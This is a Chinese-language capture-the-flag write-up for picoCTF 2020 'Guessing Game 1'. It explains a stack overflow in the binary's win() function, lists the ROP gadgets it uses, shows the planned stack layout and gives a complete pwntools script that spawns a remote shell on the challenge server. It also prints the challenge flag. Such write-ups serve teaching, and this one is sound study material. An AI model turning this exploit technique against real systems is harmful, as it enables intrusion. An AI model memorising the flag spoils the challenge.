Guessing Game 1 wp (Chinese ver.)

picoCTF - 2020 - Guessing Game 1 write-up

前言

新手可能不清楚pwn是什么

”Pwn”是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。
——百度百科

简单的说,就是想办法入侵远程服务器,通常以进入shell为目的
本题适合了解程序运行原理的ctf新手(至少得知道为什么返回地址在栈里面)(不了解的话能看懂这篇也了解了,可以接着往下看,遇到不懂的马上搜)
学汇编推荐王爽的汇编语言,虽然是16位dos(我就是用这个学的基础)
里面遇到了不懂的名词(例如ROP,Gadgets)都可以直接百度搜,本writeup更多的是给出方向防止走弯路

题目

来源

https://play.picoctf.org/practice/challenge/90?originalEvent=3&page=1

描述

I made a simple game to show off my programming skills. See if you can beat it!
Gussing Game 1.zip
nc jupiter.challenges.picoctf.org 28953

工具

IDA
VM - Kali Linux
Python
ROPgadget

分析

知识点

Binary Exploitation
Return-oriented programming (ROP)
分析一下,这个题目的目的是要在远程服务器上执行 execve("/bin/sh",NULL,NULL)
由于checksec发现nx被启用了,所以打消用shellcode的想法吧
(栈不可执行)
简单分析下,发现可以构造Gadgets链来做ROP

漏洞

分析 vuln.c 后发现存在 栈溢出 漏洞:

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");
    fgets(winner, 360, stdin);//overflow vuln
    printf("Congrats %s\n\n", winner);
}

我们需要利用漏洞来栈溢出,这样我们就能劫持 eip 的控制权了

Gadgets

利用ROPgadget找到Gadgets来构造链

运行以下命令

ROPgadget --binary vuln --only "pop|ret"
ROPgadget --binary vuln --only "mov|ret"
ROPgadget --binary vuln --only "syscall|ret"

我们的目标是执行execve("/bin/sh",NULL,NULL)
所以发现以下有用的gadgets:

0x00000000004163f4 : pop rax ; ret
0x000000000044a6b5 : pop rdx ; ret
0x0000000000400696 : pop rdi ; ret
0x0000000000436393 : mov qword ptr [rdi], rdx ; ret
0x000000000044cc49 : pop rdx ; pop rsi ; ret
0x000000000040137c : syscall

反汇编

do_stuff()

在第一次猜数字中输入 "84" (只要输入正确一次就能进入win()函数了)

Q: 为什么是 "84"
A: 我们可以利用动态调试器 (IDA debugger 或 GDB) :
我是使用IDA的远程调试功能连接了vmware虚拟机进行调试的
在这里设置一个断点:

.text:0000000000400BBC                 mov     [rbp+var_ans], rax

我们会发现 rax 将会等于84

win()

.text:0000000000400C40                 public win
.text:0000000000400C40 win             proc near               ; CODE XREF: main+70↓p
.text:0000000000400C40
.text:0000000000400C40 winner          = byte ptr -70h
.text:0000000000400C40
.text:0000000000400C40 ; __unwind {
.text:0000000000400C40                 push    rbp
.text:0000000000400C41                 mov     rbp, rsp
.text:0000000000400C44                 sub     rsp, 70h
.text:0000000000400C48                 lea     rdi, aNewWinnerName ; "New winner!\nName? "
.text:0000000000400C4F                 mov     eax, 0
.text:0000000000400C54                 call    printf
.text:0000000000400C59                 mov     rdx, cs:stdin
.text:0000000000400C60                 lea     rax, [rbp+winner]
.text:0000000000400C64                 mov     esi, 168h
.text:0000000000400C69                 mov     rdi, rax
.text:0000000000400C6C                 call    fgets
.text:0000000000400C71                 lea     rax, [rbp+winner]
.text:0000000000400C75                 mov     rsi, rax
.text:0000000000400C78                 lea     rdi, aCongratsS ; "Congrats %s\n\n"
.text:0000000000400C7F                 mov     eax, 0
.text:0000000000400C84                 call    printf
.text:0000000000400C89                 nop
.text:0000000000400C8A                 leave
.text:0000000000400C8B                 retn
.text:0000000000400C8B ; } // starts at 400C40
.text:0000000000400C8B win             endp

函数的返回地址被储存在 rbp+8, 所以通过栈溢出来覆盖(重写)它就可以达到劫持 eip 的目标

ROP: Gadgets

我们计划在劫持eip(win()返回后)执行以下汇编(组成以下的Gadgets链)

ret        (retn of win() at .text:0000000000400C8B)
pop rax
ret
pop rdx
ret
pop rdi
ret
mov qword ptr [rdi], rdx
ret
pop rdx
pop rsi
ret
syscall

为了成功执行 execve("/bin/sh",NULL,NULL) , rax 得在 syscall 执行时等于 59 , rdi 应该是一个指向字符串 "/bin/sh" 的指针, rsirdx 应该等于 0 (NULL).

所以我们计划让栈变成这样:

rbp+8                0x00000000004163f4                        Address of one of Gadget
rbp+10h                59                                        rax
rbp+18h                0x000000000044a6b5                        Address of one of Gadget                        
rbp+20h                "/bin/sh"                                rdx (temporary use; will be overwrite later)
rbp+28h                0x0000000000400696                        Address of one of Gadget
rbp+30h                0x00000000006BA770                        rdi
rbp+38h                0x0000000000436393                        Address of one of Gadget
rbp+40h                0x000000000044cc49                        Address of one of Gadget
rbp+48h                0                                        rdx
rbp+50h                0                                        rsi
rbp+58h                0x000000000040137c                        syscall

远程执行来找Flag: Python

运行以下的python程序(你需要pwntools库):

from pwn import *

sh = remote('jupiter.challenges.picoctf.org',50583)

p = make_packer('all', endian='big', sign='unsigned')
p64 = make_packer(64, endian='little', sign='unsigned')

payload = p(0x90)*(0x70+8)        #rbp-70h
payload += p64(0x4163f4)        #rbp+8h
payload += p64(59)                        #rbp+10h
payload += p64(0x44a6b5)        #rbp+18h
payload += p(0x2F62696E2F736800)        #rbp+20h
payload += p64(0x400696)        #rbp+28h
payload += p64(0x6BA770)        #rbp+30h
payload += p64(0x436393)        #rbp+38h
payload += p64(0x44cc49)        #rbp+40h
payload += p64(0)                        #rbp+48h
payload += p64(0)                        #rbp+50h
payload += p64(0x40137c)        #rbp+58h

sh.recvuntil('guess?\n')
sh.sendline(p(0x3834))#84

sh.recvuntil('\nName? ')
sh.sendline(payload)

sh.interactive()

result.png

所以Flag是 picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_1ed68bc5575f6be1}

最后的话

谢谢阅读!(欢迎交流)

Tags:none

Add a new comment.